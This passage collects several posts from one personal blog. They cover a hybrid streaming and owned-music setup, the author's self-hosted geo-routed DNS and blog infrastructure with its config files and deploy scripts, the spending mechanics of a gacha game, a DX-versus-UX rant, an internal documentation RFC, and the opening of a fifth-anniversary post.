Qobuz⁽⁸⁾ is an interesting because it's Fr*nch 🤮 it's both a streaming service and music store, where it's entire catalogue of music can be streamed or bought DRM free to download. This is cool, and aside from other, even smaller services like Resonate, it seems to me like the most sustainable way of doing streaming.

Now, you might be thinking, "isn't this just iTunes all over again?"

Yeah I guess so. I'm pretty sure music you buy in iTunes can be streamed from Apple Music too, but you don't get to download them DRM free.

I didn't talk about it in the comparison because Qobuz's catalogue isn't very big, so I wouldn't recommend it for most people. But it seems to have improved a lot over the last few years, and from my experience is much more expansive than what reviews from the past few years have said.

Another reason is because I've never used Qobuz's app to stream music before, so if it's complete garbage, I wouldn't know.

Basically, there's this thing called Roon which is software for music playback and library management. You know how I said bringing my own music from stores like Bandcamp was my favourite feature with Apple Music? This is that but like a hundred times better.

Roon has seamless integration with Tidal and Qobuz, as in you can stream Tidal and Qobuz through the Roon UI. So I essentially have a hybrid library of streaming and owned music. And I use the streaming integration to play new music I get recommended from Roon, last.fm, etc, and if I like it enough, I'll eventually try to find a place to buy it (most likely Qobuz) and move into the owned music collection.

I think this is about as good as a compromise as I can get. And it works very well for me, but other people would likely take issue with how Roon needs server to host it on, and requires yet another subscription, meaning I'm literally paying for three subscriptions⁽⁹⁾ to access music.

I wouldn't blame anyone for not wanting to go this far.

You're probably fine with just using Apple Music and hoping the music economy doesn't completely collapse.

6 years ago, a 17 year old Justin started their first job developing CRM software for mortgage brokers. They had a grand ol' time writing Python code and doing Linux server administration. Deploying to prod was two commands: git pull and apachectl -k restart. Life was good.

3 months ago, a 23 year old Justin needed to work with AWS to setup some new infrastructure for their current job. Weeks of writing CloudFormation templates, reading garbage documentation, and watching builds fail later, they started longing for the simpler times.

So I was recently on holiday in Paris.⁽¹⁾ While I was there I decided to check this blog to make sure the "low intensity view" worked. It did thankfully, but something else felt strange…

It loaded way too fast.

You see, this blog is hosted on a single VPS in Helsinki, Finland. That is almost half-way across the world from Sydney, Australia, where I normally view it.

I'm used to my blog taking around a second to load. Instead, this was almost instant. And on a 10 MB/s Internet connection!

Previously, I had just kinda accepted that "around a second" was how long it should take this site to load. But now that I've seen the light… yeah, this is unacceptable.

I should probably be running this site on a CDN, like Cloudflare or something. But since AWS gave me a pretty strong desire to go back to Linux server administration, and I generally wouldn't feel good about contributing to the increasing centralisation of the Internet, anything on the "cloud" is off-limits. Fuck the cloud. All my homies hate the cloud.

So once I got back home, I redeployed this blog on my own infrastructure with nodes in 3 different countries for low latency, high availability, geo-location routing.⁽²⁾ All duck-taped together by a series of Bash, Python, and Rust programs. Et mon dieu, did I had the time of my life, was probably more fun than my holiday actually.⁽³⁾

Let's talk about geo-location routing. I have three servers all in different regions (Oceania, Europe, North America). If an Australian goes to justin.duch.me, I want them to be directed to the Oceania server. If a German goes to justin.duch.me, I want them to go to the European server, and so on.

The simplest way I've found to do this is how Wikipedia does it. They run a DNS server that changes the A record depending on the geo-location of your IP. I looked into PowerDNS, the DNS server software they use, but it seemed too complicated and confusing for this use-case. I also suffer from extreme "not invented here" syndrome, meaning I'd rather not use something I didn't make.

So I wrote my own DNS server.

In Rust of course.

This is racine, it uses GeoLite2 from MaxMind for geo-ip lookup⁽⁴⁾ and trust-dns for the actual DNS parts. Because there's no way I was going to actually write a DNS server from scratch, are you kidding me? I wrote this in like a day.

racine takes a yaml config (because I don't like zone files) with your DNS records. You can give each record an optional geo argument that is used for geolocation to change the value based on continent or country.

Here's what my config looks like.

records:
- name: blog.waifu.church
  type: A
  value: 95.216.184.160
  geo:
  - continent: OC
    value: 207.148.80.96
  - continent: AS
    value: 207.148.80.96
  - continent: NA
    value: 144.202.92.225
  - continent: SA
    value: 144.202.92.225

- name: blog.waifu.church
  type: AAAA
  value: 2a01:4f9:c010:9a7d::1
  geo:
  - continent: OC
    value: 2001:19f0:5801:11a4:5400:4ff:fe8a:af3b
  - continent: AS
    value: 2001:19f0:5801:11a4:5400:4ff:fe8a:af3b
  - continent: NA
    value: 2001:19f0:8001:890:5400:4ff:fe8a:ebe1
  - continent: SA
    value: 2001:19f0:8001:890:5400:4ff:fe8a:ebe1

- name: kafka.ns.waifu.church
  type: A
  value: 95.216.184.160
- name: kafka.ns.waifu.church
  type: AAAA
  value: 2a01:4f9:c010:9a7d::1

- name: himeko.ns.waifu.church
  type: A
  value: 207.148.80.96
- name: himeko.ns.waifu.church
  type: AAAA
  value: 2001:19f0:5801:11a4:5400:4ff:fe8a:af3b

- name: seele.ns.waifu.church
  type: A
  value: 144.202.92.225
- name: seele.ns.waifu.church
  type: AAAA
  value: 2001:19f0:8001:890:5400:4ff:fe8a:ebe1

- name: waifu.church
  type: SOA
  value: kafka.ns.waifu.church justin.duch.me 2023081700 86400 10800 3600000 3600

- name: status.waifu.church
  type: CNAME
  value: status-waifu-church.fly.dev.

Yep that's right, my DNS name servers are on the same server as each deployment of this blog. This is because I didn't want to buy more servers, but it's probably fine since the name servers are literally only used for the blog.

You might also notice the blog is under blog.waifu.church instead of justin.duch.me, and that's because I didn't want to set these as the name servers for the root domain duch.me. I use other things with duch.me (like email and MX records), and I don't want something as important as that to be managed under a program I wrote in a day. Instead justin.duch.me has been set as a CNAME to blog.waifu.church.

Also, IPv6 support! Didn't have that before, so it's cool to have now.

This config needs to be in sync with all three servers, but because I'm lazy (as any good programmer is) I just rsync the config from my main server kafka.ns.waifu.church to the rest. I've setup incron on each follower server to restart racine once it detects a change to the config or the GeoLite2 database.

Next is looking at SSL support. I get my certificates from Let's Encrypt, which by default validates that you own the domain by giving you a token, where that token is then put in a file on your web server at /.well-known/acme-challenge/<TOKEN> under your domain. Let's Encrypt then tries retrieving it, and if successful, issues you a certificate.

The problem with this is that I don't know what server Let's Encrypt is going to go to in order to retrieve the token. While I'm pretty sure they'd go to the NA server, they don't provide a list of IPs they use for me to be completely certain.

One solution is to use a DNS challenge instead. For this, you validate the domain name by putting a specific value in a TXT record under that domain name. All of my servers are literally a DNS server, and I've already setup config propagation to each follower server, so this shouldn't be an issue.

Dehydrated, the ACME client I use ( certbot is bloat), makes this easy to do automatically by using a hook like the Python script below.

#!/usr/bin/env python3

import sys
import io
import subprocess
import time

from ruamel import yaml

ttl = 600

argc = len(sys.argv)

if argc < 5:
    sys.exit(0)

handler = sys.argv[1]
domain = sys.argv[2]
challenge = sys.argv[4]
acme = "_acme-challenge." + domain

if handler == 'deploy_cert':
    subprocess.run(["rsync", "-rL", "--delete", f"/etc/dehydrated/certs/{domain}", "<user>@207.148.80.96:/etc/dehydrated/certs/"])
    subprocess.run(["rsync", "-rL", "--delete", f"/etc/dehydrated/certs/{domain}", "<user>@144.202.92.225:/etc/dehydrated/certs/"])
    subprocess.run(["systemctl", "restart", "nginx"])
    sys.exit(0)

if handler != 'deploy_challenge' and handler != 'clean_challenge':
    sys.exit(0)

with open('/etc/racine/zone.yml') as f:
    data = yaml.safe_load(f)

exist = next((record for record in data["records"] if record["type"] == "TXT" and record["name"] == acme), None)

if handler == 'deploy_challenge':
    if exist:
        exist["value"] = challenge
    else:
        data["records"].append({"type": "TXT", "name": acme, "value": challenge, "ttl": ttl})
elif handler == 'clean_challenge':
    data["records"].remove(exist)
else:
    sys.exit(0)

with io.open('/etc/racine/zone.yml', 'w', encoding='utf8') as outfile:
    yaml.dump(data, outfile, default_flow_style=False, allow_unicode=True)

subprocess.run(["systemctl", "restart", "racine.ser.service"])
subprocess.run(["rsync", "-r", "/etc/racine", "<user>@207.148.80.96:/etc/"])
subprocess.run(["rsync", "-r", "/etc/racine", "<user>@144.202.92.225:/etc/"])

if handler == 'deploy_challenge':
    time.sleep(10)

sys.exit(0)

This script propagates the racine config during the "deploy_challenge" phase and also propagates the issued certificate to each server in the "deploy_cert" phase.⁽⁵⁾

racine doesn't (and probably never will, as long as what I'm about to introduce keeps working) have DNS-over-TLS support, so we have to use stunnel instead, which is "a proxy designed to add TLS encryption to existing clients and servers without any changes in the programs' code."

So for that, I had to use dehydrated once again to create SSL certificates for each name server (I can use the standard HTTP challenge now, since the domain name for each name server always goes to the same place) and create a stunnel config as such.

[dns]
accept = 853
connect = 0.0.0.0:53
cert = /etc/dehydrated/certs/kafka.ns.waifu.church/fullchain.pem
key = /etc/dehydrated/certs/kafka.ns.waifu.church/privkey.pem

There's actually a few other little bash scripts I also use for tiny things like updating the GeoLite2 DB, and propagating nginx configs, but this is basically all that's there to it.

I guess we can also talk about deploying new versions of this blog. Here's my "CI/CD" script.

from fabric import task

@task
def update_system(c):
    c.run('apt update')
    c.run('apt upgrade -y')

@task
def update_blog(c):
    c.run('cd /opt/justin.duch.me && git pull')
    c.run('cd /opt/justin.duch.me && make rebuild')

Yup, that's it. It uses the Fabric Python library which is designed to execute commands over SSH. Thankfully, I already had a Makefile so I didn't need to write more stuff for deployment.

I run this command manually when I want to serve a new version (I don't want the site updated on every push).

fab -H <servers> update-blog

One last issue I had to deal with is the fact that I won't know what's going on with my blog in other regions since I'll always get the Oceania server.

For this, I quickly made status.waifu.church which is just a page detailing the status of each name and web server. It's also written in Rust, pure Rust with maud. It's pretty bare bones right now, but I'll add more detail to the page at a later date.⁽⁶⁾ Eventually… probably.

I've deployed it to Fly.io⁽⁷⁾ (because you shouldn't keep your monitoring tools on the same infrastructure as the thing you're monitoring, and also because they have a free tier and I really didn't want to spend more money on servers), where status.waifu.church is a CNAME to the fly domain (many head pats for you if you spotted this in the racine config from earlier).

Alright, that's about all there is to it. I don't know why, but this kinda sloppy, simple yet still overcomplicated, hanging on by a thread, infrastructure for a single dumb blog makes me feel "good" inside.

I like this.

I think this is what gardeners and house plant owners feel when they grow their plant things.⁽⁸⁾ The sense of accomplishment and pride from nurturing something, and the calming routine of its' ongoing maintenance.

In terms of hours spent on non-work related, personal projects, this blog tops everything else by a wide margin. That's mainly due to the 4 (or 5? I lost count) rewrites of its' source code, so it was a good experience to finally take a step back and look at what that source code ran on.

Now then, what have we learnt?

1. The cloud sucks big ween. AWS especially.
2. Rust is the best language and should be used for everything.
3. This post talks about Bash script infrastructure but mostly only shows Python scripts (really makes you think, huh?)
4. I own the domain waifu.church.
5. Computers are plants.

And finally, but most importantly;

5. There are too many Fr*nch people 🤮 in Paris, I give the city a 2/10 (at least the baguettes were good).

Better to have, and not need, than to need, and not have.

• Franz Kafka

Non-clickbait title: Looking At Honkai: Star Rail's Gacha Mechanics.

I've probably spent around $400 AUD on a slot machine to collect hot anime waifus/husbandos in Honkai: Star Rail (HSR) since it's release in April of this year.

Do I regret this? No, I've spent more than that on worse things.⁽¹⁾

Before HSR, I genuinely could not see the appeal in gambling (I actually still don't, but we'll get to that), and while some gacha games looked a little interesting to me, the what looked like gambling to me - gacha mechanics was an instant turn off.

So what made me start playing HSR?

Her.

Her name's Kafka.

She's my mum now.

So anyway, after being hooked in by my new mum, as it turns out, the game is actually pretty fun.

It's an enjoyable space comedy⁽²⁾ game with kinda shallow JRPG turn based combat. The characters are all entertaining and pretty likeable, but I guess that's what you need if you want people to pull our their credit cards. Special highlight on their English dubs, all the EN voice actors and their performances are honestly great (especially Kafka), I never had any urge to switch dubs.

But we're not here to talk about that, we're here to talk about gambling.

I linked a Wikipedia page to gacha games when I last mentioned it in this post, but since you most certainly didn't read it, I'll explain it for you myself.

"Gacha" is a term derived from Japanese capsule-toy vending machines where you insert coins and receive a random toy in return. In the context of video games, "gacha" refers to a mechanic that involves players spending either in-game currency or real money to receive a random reward.

The primary characteristic of a gacha game is the random chance to obtain characters, items, or other rewards. Just like capsule-toy machines, you don't know what you'll get until you "pull" or "roll."

This inherently makes gacha games pay-to-win since some characters and items are just better than others, but HSR isn't PvP so it doesn't really matter (I have no idea why people play PvP gachas, seems like a horrible idea to me).

On that, let's look back at HSR. You can pull for characters or "light cones". I'm going to ignore light cones because I don't pull for them, so we'll only be looking at characters.

Interlude

Ok, I wrote what's above like 10 minutes ago and I've just been staring at this document, not knowing what to write ever since. This is more complicated to explain than I thought it would be, if you're unfamiliar with gacha - get ready for a ride.

You can pull (called "warps" in HSR) for characters on two "banners" or "events":

• The standard permanent warp event, which you use "Star Rail Passes" for.
• The limited-time availability character warp event, which you use "Star Rail Special Passes" for. These run for a limited time (normally 20 days) but give boosted rates on the specified characters in the banner. Here's the banner for Kafka, which started over a week ago.

I'll only be talking about the character event warp to simplify things, because that's the one you normally pull for and you can just apply the same concepts to the standard warp by ignoring boosted character rates.

So one pull is one "Star Rail Special Pass", which you can sometimes get in-game (rarely), but the easiest way is to purchase them with 160 "Stellar Jades".

You can also get jades in-game, but that takes a while to accumulate, so you can purchase "Oneric Shards" with real world money from the store to then convert into jades (these are a 1 to 1 conversion).

So how much do shards cost? Well… it's complicated.

You can only buy a set number of shards and they don't scale linearly with cost. So 60 shards is $1.99 (30 shards per dollar), but 300 shards is $7.99 (37 shards per dollar). The most you can buy is 6480 shards for $149.99 (43 shards per dollar).

BUT WAIT, that's still not including the bonus top ups.

For your first purchase on each set of shards you get double the amount, with the bonus halving each purchase.

So the first time you spend $1.99, you get 120 shards (60 bonus + 60 for 60 shards per dollar), then 90 (30 bonus + 60 for 45 shards per dollar) the next time, then 75 (15 bonus + 60 for 38 shards per dollar).

This is a pretty standard method used in the gaming industry to obfuscate how much money your actually spending and make it harder to determine how much things actually cost. Fortnite is another popular game that employs similar "store mechanics".

But Fortnite doesn't have gambling.⁽³⁾

Ok, let's go into the drop rates for each pull. In HSR you can either get 4-star or 5-star characters, with the latter being rarer and stronger in-game.

The base rate for a 4-star character is 5.1%⁽⁴⁾ this increases to 13% for characters on the banner.

The base rate for a 5-star character is 0.6% this increases to 1.6% for the character on the banner (there's only one five-star on the banner along with three 4-star characters).

These are incredibly low odds. To counteract this, there's the "pity" system.

Within 10 pulls, at least one 4-star or above character is guaranteed. The chance of a 4-star is 99.44% and the chance of a 5-star is 0.6%.

Within 90 pulls, at least one 5-star is guaranteed.

On the character event banner, the first time you pull a 5-star there is a 50% chance that 5-star will be the promotional character (Kafka in our case). If you lose the 50/50 (don't get Kafka), the next 5-star is guaranteed to be the promotional character.

Alright, I think that's all.

To be clear, it is possible to play the game without spending any money, you won't be getting as many 5-stars because you won't be able to get the rail passes and jades needed to reach pity before a limited banner ends, meaning you'll have to skip a few, but it is possible.

Either way, the game (and genre as a whole) is still incredibly predatory. But I think even with the gambling, the fact that I'm guaranteed to get what I want (eventually) is what is letting my conscious continue to play it and spend money on it.

I am not a big risk taker, and the idea of losing money - even for the chance of gaining more, is just not a thing that appeals to me.

I think the fact that I know I'm never going to see that money back ever again helps. I'm a lot more careless with my money when it comes to entertainment⁽⁵⁾ than monetary investments (not that this is a good thing).

With each character I want in HSR, I approach it by just planning for the worst case scenario every time, and determining if my money is worth that.

The promotional 5-star is guaranteed every 90 pulls if I win the 50/50 otherwise the 5-star is guaranteed in 180 pulls. So I just assume it takes 180 pulls to get a 5-star.

Ignoring any jades I've gotten from playing the game, 6480 jades (converted from shards) cost $150 for 43 jades per dollar (ignoring the bonus top ups because those will go away eventually).

Each pull is 160 jades, so a 5-star costs 28,800 jades which is $670.

So, a 5-star costs $670? No, obviously that is WAY too much and actually pretty unfair on the game to say. I have eight 5-stars from pulls and I only spent $400.

You do actually get a lot of currency in-game to supplement spending real money,⁽⁶⁾ so I'd half that number to each 5-star costing $335 in the worst case.

So here's the question we've all been waiting for. Is Kafka worth $335?

Yes.

Epilogue

I also want to mention how these games are absolute cash cows. I'm honestly probably only a slightly-above average spender on the game. I skip banners. I don't pull for light cones. I do my dailies.

There's a common term for a very small proportion of players who spend an unusually large amount of money on gacha pulls, essentially subsidising the game for other players who spend smaller amounts of money, or the free-to-play players that spend no money at all. They're often colloquially referred to as "whales".

These are people who spend thousands on the game, and honestly probably actually do have a gambling addition. But by many estimates normally make up around 80-90% of the game's revenue.

Now look at this Reddit post that shows that HSR made $220,817,800 USD last July in China.

A SINGLE MONTH. IN JUST CHINA.

WHAT THE FUCK.

That means you should stop using it.

And you should listen to me because I am words on the Internet, and the Internet is never wrong.

Let me explain.

Here's what DX is according to the champions of open-source who don't even open-source their own platform, destroyed the distributed nature of Git for the vast majority of projects, and then laundered the GPL-ed code they host to ingest it into their stochastic parrots that are really only good for writing unit tests (that still need a lot of editing afterwards).

DevEx refers to the systems, technology, process, and culture that influence the effectiveness of software development. It looks at all components of a developer’s ecosystem—from environment to workflows to tools—and asks how they are contributing to developer productivity, satisfaction, and operational impact.

• GitHub Engineering - Developer experience: What is it and why should you care?

This is stupid.

There's fundamentally no difference between DX and UX.

We are also users of our tools. Like our users, we want a seamless, intuitive, efficient, and satisfactory interaction with the systems we use. The factors that contribute to a positive experience are similar for everyone: a well-designed interface, reliable performance, and a set of useful features.

Here's another quote from our overlords who gamify programming with bullshit, meaningless achievements and activity maps to foster a culture that spams maintainers with bullshit PRs for single letter "typos".

“DevEx puts developers at the center and works to understand how they feel and think about the work that they do,” says Eirini Kalliamvakou, staff researcher at GitHub. Developer sentiment can uncover points of friction and provide the opportunity to find appropriate fixes.

THIS IS JUST UX. THIS IS WHAT YOU DO WHEN YOU DO UX.

Distinguishing between DX and UX is redundant, I see no reason to consider us "special" and have a need to distinguish us from our users.

The tools we use are products just as much as the things that we use them to make are.

"Differentiating" between DX and UX can also create this false dichotomy that makes people believe the two concepts are mututally exclusive - as if enhancing one would necessarily degrade the other, or that it's okay for one to be degraded if the other is enhanced.

You see this ALL the time in JS land.

JS devs are always making "trade-offs", especially against performance. Just look at every Electron app ever made. Just look at the entire concept around "serverless".

And holy shit don't even get me started on "clean code".⁽¹⁾

Yeah, go ahead and write some code that executes hundreds of thousands more instructions than it needs to, because having more useless abstractions is "cleaner", even though you're going to re-write this anyway because YOUR ABSTRACTION IS ALWAYS WRONG THE FIRST TIME, AND SINCE YOU JUST COOKED UP A BUNCH OF SPAGHETTI YOU THOUGHT WAS "CLEANER", IT'S GOING TO TAKE EVEN LONGER TO CHANGE.

Ultimately, I think the confusion comes from a misunderstanding of what UX is, and so even with how people separate it into UI/UX, they still conflate UI with UX.

They see a flashy GUI web-app and say "that's nice UI/UX", but they don't say that to the tools they use, the simple, performant, well-documented command line program, with consistent and clear behaviour.

That's because the latter is "just a tool", and tools aren't supposed to be nice or have UX, they're supposed to be utilitarian. This is such a bizarre, nonsensical dichotomy. A well-designed tool is one that can be used intuitively and efficiently, and that's good UX.

We're not a special class of users that need a different term for our experience with the tools we use. We are just as much users as our customers, clients, or audience. The experiences we have with our tools affect the work we do and the products we create, and they should be considered under the same umbrella as user experience - because they are user experiences.

And so maybe acknowledging that we are the same as our users will give us the empathy to see that a 100 MB website that loads into another loading screen for garbage that had no reason to use React or it any of it's meta-framework (because our frameworks need their own frameworks now) IS NOT OKAY AND WE SHOULD STOP THINKING IT'S OKAY.⁽²⁾

In conclusion, stop using Electron and write more stuff in Rust.

Also, get off GitHub.

• Links to company documents have been replaced with fun videos.
• Some examples of documentation have been removed.

To "protect" my privacy, I have also redacted references to [COMPANY NAME], although it shouldn't be that hard to figure what it is supposed to be with a little digging into my public profile, so I don't really know why I bothered.

A normal post should be coming in a month (or longer) if you were looking forward to that… for some reason.

Summary

This is an RFC for the implementation of a documentation system in engineering.

Motivation

Documentation in [COMPANY NAME] is lacking, possibly in no small part due to our structure in writing it. The current process does not give any guidance on the purpose, structure, and audience of the document the author is writing for, making it harder to write.

User intuition is not reliable enough when it comes to learning software. Complex systems have a wide range of applications. This leaves considerable room for human error. Having clear, easy-to-understand documentation will mean fewer problems to solve and less firefighting.

General reference

Documentation is context specific and depends on what your audience is looking to get out of it. Docs should be though of in terms of desired goals and outcomes: learning-oriented, problem-oriented, etc. From my experience, I go to documentation to try to find an answer to one of these three questions:

• How do I X?
• What is X supposed to do?
• Why is X doing Y?

Each category of question follows a distinct user journey, and our documentation should be divided along these lines.

How-Tos (How do I X?)

These focus on achieving a specific outcome, be it how to run a migration in AWS DMS or add a new profile scraper. They are for when you aren’t interested in the specifics and just need to get something done. Learning how to do something before learning how it works is easier to understand.

Ideally, there should be an end goal to reach - to complete the exercise, and should allow your reader to get hands on with the how-to while reading instead of after. To help readers achieve this, how-tos should be clear, accessible and with a single focus.

Overviews (What is X supposed to do?)

These explain how the feature/code works, gives background and provides context. This type of documentation is for those who want to take a closer peek under the hood. They want to make connections across the software and understand the nuts and bolts. Information here is theoretical, rather than practical or descriptive.

It’s documentation that approaches a topic from a higher perspective, and from different angles. The main goal should be comprehensiveness. The reader ought to come away from a read feeling very comfortable with the topic in question. They should feel that they know the vast majority of the possible options, and more importantly they should understand how all the concepts fit together.

References (Why is X doing Y?)

A complete reference for all the APIs your code provides, or a very detailed outline about how a particular thing works. These should be designed for those who already know how to use some API, but need to look up the exact arguments some function takes, or how a particular setting influences behaviour, etc.

It’s important to point out that reference material is not in any way a substitute for good how-tos/overviews! Great reference material in the intercom service does readers no good whatsoever if they don’t know the intercom service even exists.

It was actually quite hard to find a good example for each category from our existing library of documentation. We need to be a lot stricter on the quality of documentation, because a lot of them - not trying to be rude here, but - they’re just not very good.

Guiding principles for writing

Once you know for what purpose and for whom the documentation you are authoring is for, here are some best practices to keep in mind:

• Use a clear structure with an outline.

• Use diagrams and illustrations to support your points. And don't forget to caption these.

• Ensure the information is up-to-date, complete and correct. Remember, accuracy is critical.

• Don't be lazy. Show respect for the people taking the time to read your work and put in the effort (grammar, structure, quality of examples, etc).

• Consider writing the documentation, specifically the overview, while or before implementing features instead of after. This can help even with writing the code, as it can give you a clearer picture of what you’re implementing.

  • Taken from GitLab’s handbook usage approach:

  Documenting in the handbook before taking an action may require more time initially because you have to think about where to make the change, integrate it with the existing content, and then possibly add to or refactor the handbook to have a proper foundation. But, it saves time in the long run, and this communication is essential to our ability to continue scaling and adapting our organization.

• Have someone proofread, or edit for you.

• The best way to get better at writing is to write. The second best way to is read some else’s writing and copy them (this coincidentaly also involves writing).

  • It’s pretty easy to spot the influence James Mickens has had on me. Specifically, the 2013 masterpiece “The Night Watch.”

Devil’s advocate

I don’t really want to play devil’s advocate against writing documentation, but to be fair, sometimes just figuring it out as you go is more fun :3 Really gives you that sense of pride and accomplishment.

Rationale and alternatives

Nearly everyone understands this. Nearly everyone knows that they need good documentation, and most people try to create good documentation. And most people fail.

As mentioned before, the idea with this approach is to categorise documentation by goals and outcomes, and to adopt a systematic approach to understanding the needs of documentation readers in their cycle of interaction with what is being documented.

This approach is light-weight, easy to understand and straightforward to apply. It doesn’t impose implementation constraints, and authors should be free to write documentation in the way they feel best gets the reader to their desired goal/outcome.

It also makes it more obvious on what docs are missing. If there was just a page called “profile scrapers”, I wouldn’t know what that covered - if it told me how to add one, or how they worked - and if this page didn’t have one of those, is it missing, or just somewhere else? Whereas if it were divided by outcome and there was only a page in overviews called “Profile scrapers architecture”, I would know what that’s about and could see that “How to add profile scrapers” is missing in how-to.

I’ve seen other approaches that are more structured, with a taller and stricter hierarchy of categories. I don’t believe this is the correct fit for us (or anyone tbh) because it lessens discoverability of documentation, compared to how a flatter structure can better utilise Notion’s database searching and filtering capabilities to enhance discoverability while still not overloading the reader with pages and keeping the “neatness” of a nested structure.

Having to navigate through several pages (especially on a website as slow as Notion) is also annoying (yes, most libraries/handbooks have a search, but sometimes I don’t know what I’m searching for). Reducing friction is important in this case of UX (or maybe it’s DX here?) so that people will actually want to read the documentation and won’t be off-put by having to put in any amount of effort. Some people already think documentation is boring⁽¹⁾, don’t make it any worse.

If I’m casually browsing the documentation library, as I often do, and see a page called Data model, I’m going to be like “oh that seems neat and kinda important, I’ll go check it out.” But then when it turns out you have to download some attachment and open it in another web app, I’m going to be like “nah cba, maybe next time.”

This is bad, because who knows, maybe “Data model” is the most important document I could have ever read. Maybe my life will be forever incomplete without the wonders it holds. Maybe it would’ve provided me with the knowledge of eldritch horrors beyond my understanding, but then right after also provide me with the knowledge to understand said eldritch horrors to ensure I don’t go insane.

IF ONLY “DATA MODEL” WAS STRUCTURED IN SOME WAY THAT DIDN’T TRIGGER MY LAZY SLOTH-LIKE OTHER SELF THAT HATES ALL FORMS OF EFFORT.

NOW I’LL NEVER MEET THE GREAT TENTACLE MONSTER FROM THE SKY BECAUSE I HAD TO CLICK MORE THAN 2 TIMES TO SEE A DIAGRAM ABOUT WHAT I’M ASSUMING (BECAUSE I DIDN’T LOOK AT IT) FROM THE TITLE AND THE CONTEXT IN WHICH THIS PAGE HAS BEEN PLACED IN, IS A DATA MODEL OF OUR DATABASE.

Prior art

This entire RFC basically takes ideas from Diataxis née Divio's Documentation System, which is generally considered the cardinal rules of technical writing (source: Hacker News just trust me bro). Most, if not all professional technical writers divide their documentation into content types along those lines.

Diataxis puts documentation in 4 categories instead of the 3 I wrote about here. I removed the 4th (tutorials) because, in a purely engineering context, I couldn’t find enough of a difference between tutorials and how-tos, and so I merged them together (though I am open to having 4 if people really want it).

Although I feel I’ve mentioned all the important parts, I would encourage you to read through Diataxis to get a better understanding of this approach beyond the brief summary here.

Others I stole from was inspired by include:

• Jacob Kaplan-Moss (Co-creator of Django) “Writing Great Documentation: What to write” (2009) - also divides docs into 3 categories that are pretty much the same as mine.
• Federal Information Processing Standards Publication “Guideline for Software Documentation Management” (1986) - didn’t really use this, but was interesting to read.

Obligatory Rust evangelism from a Rust cult member

Please allow me this opportunity to tell you about the good word of the Rust programming language.

PLEASE, I have to do this - if I don’t shill Rust at EVERY opportunity, much like how the Duolingo owl murders people who forget to do their daily Spanish - Ferris the crab will BREAK into my apartment and SNAP all my LIMBS in HALF with their MUSCULAR CRAB CLAWS (we’re a much kinder and compassionate community here at the Rust cult, so no one dies).

Even the worst documented Rust projects like https://docs.rs/roux/2.2.1/roux/ (don’t mind me, just “shilling” my own library) have decent docs compared to other languages because it can generate docs all from doc strings in code.

Notice how an API reference is automatically generated at the bottom.

There is also a compiler option to make compilation fail if a public method/struct/etc. doesn’t have a doc string.

Writing code examples in your docs are also extra helpful in Rust because you can actually run them as unit tests.

On a standard qwerty keyboard, 'rust' is offset by exactly one key-width left from 'tidy'. 🤔

Open questions

• I think having a glossary like: https://glossary.infil.net/index.html would also be useful for engineers to be able to look up AWS services/political terminology/GCX engineering terms.
  • Definitely not suggesting this because I still don’t know what MP stands for…
• I’m assuming the categories would be their own Notion database, but am a little undecided if that’s right for the reference docs, and if they should be in doc strings in code instead (LIKE RUST!!).
  • This would make it closer to the code, which is probably where you already are if looking at reference documentation. And it might make updating it easier after a code change.
  • It makes LSP better. Neovim (I’m assuming the lesser “IDEs” do this as well) displays the doc strings of everything in the autocomplete menu, which is pretty helpful most of the time.
  • But it “spreads” the docs out, which is something I want to avoid. Docs should be as centralised as possible to make discovery easier. It would be easier to find method references if there wasn’t a bunch of code to skip through as well.
  • It’s also possible we could have reference docs for things that aren’t code, or isn’t code that we wrote. In which case, reference docs would be in two different places, which feels yuck to me. Although, having reference docs for our code - in our code, and reference docs for everything else in Notion is probably an acceptable division if we were forced to have one.
  • Having something that could publish the doc strings to Notion would be an ideal middle ground (KINDA LIKE HOW RUST PUBLISHES THE DOCS TO DOCS.RS).
• Should we use a style guide for writing? It could help with making everything consistent, but would add more friction for writing?
  • Most likely would use something like APA.
  • Or make our own simple one that is easier to learn.
• A system to ensure docs are up to date would be good, but I can’t think of anything that wouldn’t be annoying and useless most of the time.

Future possibilities

How can future be real if our eyes aren’t real?

Hei, I'm back.

I know I haven't posted anything in 3 months, you don't need to remind me.

I don't feel like I need to give an explanation to you.

You never respond to me.

I have to carry every conversation on this blog.

You don't contribute anything.

This relationship is very one-sided, let's be honest here.

It doesn't really matter now anyway.

I'm going to give an explanation.

BUT NOT BECAUSE YOU DESERVE ONE, MIND YOU.

The idea well in my big bean has gone dry. Probably because of climate change.

It's just that my standards for what constitutes a post I want to publish have grown much higher since I first started doing this. There's a couple posts that have either been scrapped entirely, or put in the "needs more researching" box.

I also have a few big projects for this blog that I would love to work on, but they all require a decent time commitment to build and then write about. A time commitment that I can't/don't want to afford right now, so posts might be pretty rare for the foreseeable future.

But I'll always make time for my precious anniversary posts!

So here we are at 5 years, 117 posts, and over 150,000 words amounting to ~9.3 hours of read-time at 270 words per minute.

Normally how it would go with these is that I would write up about my feelings, which unfortunately is normally some real sad shit about depression or something, I would really just pour all the darkness of my mind into a Markdown file, bathe it in a real pool of sadness, then after it's posted someone who knows me personally and occasionally reads this blog will become very concerned about my well-being, and then reach out asking if I'm okay, and then I'll be like "yeah, I'm fine, was just getting stuff off my chest," and then they're like "ok nws I'm here if you need me," and I'll go like "haha yeah thanks mate," but then I'll start wondering if I'm actually okay and if this is actually my social anxiety once again refusing to allow me to ask for help because I'm actually NOT OKAY AT ALL, AND EVERYTHING IS FALLING APART, I'M A BALL OF DESPAIR AND I'LL NEVER BE HAPPY AND IT'S ALL MY FAULT BECAUSE I'M WEAK AND STUPID AND GAY.

I was thinking of doing something different for this post. Kind of because it's the 5th anniversary, and I feel like that would call for it. But mostly because, like this blog in general, I've run out sad things to write about.

I've kind of… covered most of the material, so I don't have anything new to say. At least for now. Maybe next year I will have more things.

Actually, I should probably hope I don't, that wouldn't be good for me. I'd prefer to not have more problems in my life thank you very much.

Instead, let's talk about positive things! That's what this post is going to be! Happy thoughts! But like, actually for real this time. I won't be doing a repeat of last year.

I've never really done this before, because to be honest, it makes me feel uncomfortable.⁽¹⁾ So, let's start with something easy. Here's a list of every notable good thing that's happened to me this year.

• I bought an apartment and am living in it.

Yep, I'm officially a home owner in Sydney, one of the highest cost of living cities in the world! Lucky me! And I bought it right before the housing market started to fall/crash too!

I shouldn't complain, it's still an achievement that probably puts me 10 years ahead of the average Australian my age. I'm much closer to the city now (only a 15 min walk to Central Station), and I'm pretty happy with the place. It's also cheaper than renting. Somehow. Like hot damn the rental market is fucked in this city.

It's also really cool finally being able to drill holes in your wall. I love using drills, definitely in the top 5 power tools for me.

